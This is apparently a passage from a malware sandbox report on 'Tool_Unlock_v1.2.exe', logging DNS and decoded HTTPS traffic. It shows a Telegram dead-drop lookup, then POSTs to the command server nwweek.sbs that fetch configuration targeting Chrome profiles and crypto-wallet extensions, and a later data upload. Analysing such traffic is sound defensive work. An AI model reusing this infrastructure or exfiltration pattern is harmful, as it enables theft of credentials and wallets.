Dec 29, 2024 05:45:38.341734886 CET	1.1.1.1	192.168.2.5	0xdf86	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:46:00.805144072 CET	1.1.1.1	192.168.2.5	0x4ddd	Server failure (2)	mavidanc.com	none	none	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:46:33.722779989 CET	1.1.1.1	192.168.2.5	0x26fc	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 05:46:33.723138094 CET	1.1.1.1	192.168.2.5	0x43f1	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

t.me

nwweek.sbs

www.google.com

chrome.cloudflare-dns.com

clients2.googleusercontent.com

https:

sb.scorecardresearch.com

browser.events.data.msn.com

c.msn.com

bzib.nelreports.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49708	149.154.167.99	443	6224	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:44:57 UTC	85	OUT	GET /w211et HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2024-12-29 04:44:58 UTC	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 29 Dec 2024 04:44:58 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12298 Connection: close Set-Cookie: stel_ssid=f901cffb2dd22c48de_7664834964571581685; expires=Mon, 30 Dec 2024 04:44:58 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-12-29 04:44:58 UTC	12298	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 77 32 31 31 65 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @w211et</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.parent

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49709	116.203.14.4	443	6224	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:00 UTC	183	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: nwweek.sbs Connection: Keep-Alive Cache-Control: no-cache
2024-12-29 04:45:01 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 29 Dec 2024 04:45:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-29 04:45:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49710	116.203.14.4	443	6224	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:03 UTC	275	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----SJWT2DT2NGVAAAIEUSR1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: nwweek.sbs Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache
2024-12-29 04:45:03 UTC	256	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 53 4a 57 54 32 44 54 32 4e 47 56 41 41 41 49 45 55 53 52 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 34 30 44 44 31 46 43 38 30 34 33 34 37 39 32 32 31 31 33 32 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 53 4a 57 54 32 44 54 32 4e 47 56 41 41 41 49 45 55 53 52 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 65 31 34 37 65 65 65 35 33 31 62 32 33 66 65 35 32 61 33 62 66 32 32 36 36 65 65 30 33 65 64 0d 0a 2d 2d 2d 2d 2d 2d 53 4a 57 54 32 44 54 32 4e 47 56 41 41 41 49 45 55 53 52 31 2d 2d 0d Data Ascii: ------SJWT2DT2NGVAAAIEUSR1Content-Disposition: form-data; name="hwid"F640DD1FC8043479221132-a33c7340-61ca------SJWT2DT2NGVAAAIEUSR1Content-Disposition: form-data; name="build_id"7e147eee531b23fe52a3bf2266ee03ed------SJWT2DT2NGVAAAIEUSR1--
2024-12-29 04:45:03 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 29 Dec 2024 04:45:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-29 04:45:03 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 36 63 35 36 34 34 63 66 65 62 65 37 34 34 65 39 64 32 31 39 39 62 30 34 64 37 63 33 61 63 33 35 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|6c5644cfebe744e9d2199b04d7c3ac35\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49711	116.203.14.4	443	6224	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:05 UTC	275	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----M7YMGDTJM7G47Q16P8YU User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: nwweek.sbs Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-29 04:45:05 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4d 37 59 4d 47 44 54 4a 4d 37 47 34 37 51 31 36 50 38 59 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 36 34 34 63 66 65 62 65 37 34 34 65 39 64 32 31 39 39 62 30 34 64 37 63 33 61 63 33 35 0d 0a 2d 2d 2d 2d 2d 2d 4d 37 59 4d 47 44 54 4a 4d 37 47 34 37 51 31 36 50 38 59 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 65 31 34 37 65 65 65 35 33 31 62 32 33 66 65 35 32 61 33 62 66 32 32 36 36 65 65 30 33 65 64 0d 0a 2d 2d 2d 2d 2d 2d 4d 37 59 4d 47 44 54 4a 4d 37 47 34 37 51 31 36 50 38 59 55 0d 0a 43 6f 6e 74 Data Ascii: ------M7YMGDTJM7G47Q16P8YUContent-Disposition: form-data; name="token"6c5644cfebe744e9d2199b04d7c3ac35------M7YMGDTJM7G47Q16P8YUContent-Disposition: form-data; name="build_id"7e147eee531b23fe52a3bf2266ee03ed------M7YMGDTJM7G47Q16P8YUCont
2024-12-29 04:45:06 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 29 Dec 2024 04:45:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-29 04:45:06 UTC	2192	IN	Data Raw: 38 38 34 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4d 36 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 6c 54 45 39 44 51 55 78 42 55 46 42 45 51 56 52 42 4a 56 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 Data Ascii: 884R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEM6XFByb2dyYW0gRmlsZXNcR29vZ2xlXENocm9tZVxBcHBsaWNhdGlvblx8Y2hyb21lLmV4ZXxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXwlTE9DQUxBUFBEQVRBJVxHb29nbGVcQ2hyb21lIF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49712	116.203.14.4	443	6224	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:07 UTC	275	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----1DBAI5X4OZU3EUASRQ16 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: nwweek.sbs Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-29 04:45:07 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 44 42 41 49 35 58 34 4f 5a 55 33 45 55 41 53 52 51 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 36 34 34 63 66 65 62 65 37 34 34 65 39 64 32 31 39 39 62 30 34 64 37 63 33 61 63 33 35 0d 0a 2d 2d 2d 2d 2d 2d 31 44 42 41 49 35 58 34 4f 5a 55 33 45 55 41 53 52 51 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 65 31 34 37 65 65 65 35 33 31 62 32 33 66 65 35 32 61 33 62 66 32 32 36 36 65 65 30 33 65 64 0d 0a 2d 2d 2d 2d 2d 2d 31 44 42 41 49 35 58 34 4f 5a 55 33 45 55 41 53 52 51 31 36 0d 0a 43 6f 6e 74 Data Ascii: ------1DBAI5X4OZU3EUASRQ16Content-Disposition: form-data; name="token"6c5644cfebe744e9d2199b04d7c3ac35------1DBAI5X4OZU3EUASRQ16Content-Disposition: form-data; name="build_id"7e147eee531b23fe52a3bf2266ee03ed------1DBAI5X4OZU3EUASRQ16Cont
2024-12-29 04:45:08 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 29 Dec 2024 04:45:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-29 04:45:08 UTC	5837	IN	Data Raw: 31 36 63 30 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 16c0TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49713	116.203.14.4	443	6224	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:10 UTC	275	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----6PZUASRIWTRIE3O8Q9HV User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: nwweek.sbs Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-12-29 04:45:10 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 50 5a 55 41 53 52 49 57 54 52 49 45 33 4f 38 51 39 48 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 36 34 34 63 66 65 62 65 37 34 34 65 39 64 32 31 39 39 62 30 34 64 37 63 33 61 63 33 35 0d 0a 2d 2d 2d 2d 2d 2d 36 50 5a 55 41 53 52 49 57 54 52 49 45 33 4f 38 51 39 48 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 65 31 34 37 65 65 65 35 33 31 62 32 33 66 65 35 32 61 33 62 66 32 32 36 36 65 65 30 33 65 64 0d 0a 2d 2d 2d 2d 2d 2d 36 50 5a 55 41 53 52 49 57 54 52 49 45 33 4f 38 51 39 48 56 0d 0a 43 6f 6e 74 Data Ascii: ------6PZUASRIWTRIE3O8Q9HVContent-Disposition: form-data; name="token"6c5644cfebe744e9d2199b04d7c3ac35------6PZUASRIWTRIE3O8Q9HVContent-Disposition: form-data; name="build_id"7e147eee531b23fe52a3bf2266ee03ed------6PZUASRIWTRIE3O8Q9HVCont
2024-12-29 04:45:11 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 29 Dec 2024 04:45:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-29 04:45:11 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49714	116.203.14.4	443	6224	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:12 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AIWTJM7GVAAIM7GLNOZC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: nwweek.sbs Content-Length: 5489 Connection: Keep-Alive Cache-Control: no-cache
2024-12-29 04:45:12 UTC	5489	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 49 57 54 4a 4d 37 47 56 41 41 49 4d 37 47 4c 4e 4f 5a 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 36 34 34 63 66 65 62 65 37 34 34 65 39 64 32 31 39 39 62 30 34 64 37 63 33 61 63 33 35 0d 0a 2d 2d 2d 2d 2d 2d 41 49 57 54 4a 4d 37 47 56 41 41 49 4d 37 47 4c 4e 4f 5a 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 65 31 34 37 65 65 65 35 33 31 62 32 33 66 65 35 32 61 33 62 66 32 32 36 36 65 65 30 33 65 64 0d 0a 2d 2d 2d 2d 2d 2d 41 49 57 54 4a 4d 37 47 56 41 41 49 4d 37 47 4c 4e 4f 5a 43 0d 0a 43 6f 6e 74 Data Ascii: ------AIWTJM7GVAAIM7GLNOZCContent-Disposition: form-data; name="token"6c5644cfebe744e9d2199b04d7c3ac35------AIWTJM7GVAAIM7GLNOZCContent-Disposition: form-data; name="build_id"7e147eee531b23fe52a3bf2266ee03ed------AIWTJM7GVAAIM7GLNOZCCont
2024-12-29 04:45:13 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 29 Dec 2024 04:45:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-29 04:45:13 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49717	116.203.14.4	443	6224	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:13 UTC	275	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BS2D2V3W4EUAAIWBIWT2 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: nwweek.sbs Content-Length: 489 Connection: Keep-Alive Cache-Control: no-cache
2024-12-29 04:45:13 UTC	489	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 53 32 44 32 56 33 57 34 45 55 41 41 49 57 42 49 57 54 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 36 34 34 63 66 65 62 65 37 34 34 65 39 64 32 31 39 39 62 30 34 64 37 63 33 61 63 33 35 0d 0a 2d 2d 2d 2d 2d 2d 42 53 32 44 32 56 33 57 34 45 55 41 41 49 57 42 49 57 54 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 65 31 34 37 65 65 65 35 33 31 62 32 33 66 65 35 32 61 33 62 66 32 32 36 36 65 65 30 33 65 64 0d 0a 2d 2d 2d 2d 2d 2d 42 53 32 44 32 56 33 57 34 45 55 41 41 49 57 42 49 57 54 32 0d 0a 43 6f 6e 74 Data Ascii: ------BS2D2V3W4EUAAIWBIWT2Content-Disposition: form-data; name="token"6c5644cfebe744e9d2199b04d7c3ac35------BS2D2V3W4EUAAIWBIWT2Content-Disposition: form-data; name="build_id"7e147eee531b23fe52a3bf2266ee03ed------BS2D2V3W4EUAAIWBIWT2Cont
2024-12-29 04:45:14 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 29 Dec 2024 04:45:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-29 04:45:14 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49724	172.217.21.36	443	7128	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:17 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 04:45:18 UTC	1266	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 04:45:17 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-JaFcL9bn_yQg41c0B9EYkQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-29 04:45:18 UTC	124	IN	Data Raw: 37 63 35 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 61 6d 74 72 61 6b 20 74 72 61 69 6e 22 2c 22 79 6f 75 6e 67 20 61 6e 64 20 72 65 73 74 6c 65 73 73 20 73 70 6f 69 6c 65 72 73 22 2c 22 77 6f 72 6c 64 20 6a 75 6e 69 6f 72 73 20 68 6f 63 6b 65 79 20 63 68 61 6d 70 69 6f 6e 73 68 69 70 22 2c 22 64 65 73 74 69 6e 79 20 75 73 61 20 6d 61 6c 6c 20 73 79 72 61 63 75 73 65 22 2c Data Ascii: 7c5)]}'["",["amtrak train","young and restless spoilers","world juniors hockey championship","destiny usa mall syracuse",
2024-12-29 04:45:18 UTC	1390	IN	Data Raw: 22 6e 69 6e 74 65 6e 64 6f 20 73 77 69 74 63 68 20 32 20 6c 65 61 6b 73 22 2c 22 6e 61 73 61 20 70 61 72 6b 65 72 20 73 6f 6c 61 72 20 70 72 6f 62 65 22 2c 22 70 61 72 6b 20 63 69 74 79 20 73 6b 69 20 70 61 74 72 6f 6c 6c 65 72 73 20 73 74 72 69 6b 65 22 2c 22 70 72 65 6d 69 65 72 20 6c 65 61 67 75 65 20 66 6f 6f 74 62 61 6c 6c 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 Data Ascii: "nintendo switch 2 leaks","nasa parker solar probe","park city ski patrollers strike","premier league football"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","g
2024-12-29 04:45:18 UTC	482	IN	Data Raw: 51 54 46 73 62 57 31 73 63 6b 64 61 51 55 6b 31 54 54 46 42 54 6d 46 42 52 32 4e 56 54 44 4a 6b 4b 30 35 32 62 55 31 46 64 47 56 6a 56 47 56 43 4f 55 31 35 4d 45 4e 4c 56 57 78 76 59 31 64 51 51 54 52 45 54 6c 4a 76 4d 57 49 78 52 43 39 6c 53 56 4e 74 54 6b 31 46 51 54 56 33 65 44 42 5a 56 54 4a 74 4e 30 46 55 61 33 67 35 62 30 6b 34 52 46 6c 7a 65 58 56 53 5a 55 78 6b 53 46 42 70 54 6d 64 4b 53 55 6c 4b 52 48 64 6b 55 33 46 58 5a 6d 6c 30 52 69 39 47 4c 30 46 47 4d 54 68 30 59 6b 46 32 52 79 39 76 4d 44 55 76 62 44 5a 70 64 6d 64 6d 54 56 51 32 4d 57 74 4a 56 6c 42 34 4d 7a 68 43 62 57 35 5a 55 48 4d 72 61 44 4a 75 5a 45 4a 71 5a 6d 52 47 4b 30 31 45 55 47 46 50 4e 57 4e 33 5a 6c 70 44 55 57 49 31 4e 45 45 78 56 45 46 50 59 55 64 32 64 56 52 76 51 6b 31 Data Ascii: QTFsbW1sckdaQUk1TTFBTmFBR2NVTDJkK052bU1FdGVjVGVCOU15MENLVWxvY1dQQTRETlJvMWIxRC9lSVNtTk1FQTV3eDBZVTJtN0FUa3g5b0k4RFlzeXVSZUxkSFBpTmdKSUlKRHdkU3FXZml0Ri9GL0FGMTh0YkF2Ry9vMDUvbDZpdmdmTVQ2MWtJVlB4MzhCbW5ZUHMraDJuZEJqZmRGK01EUGFPNWN3ZlpDUWI1NEExVEFPYUd2dVRvQk1
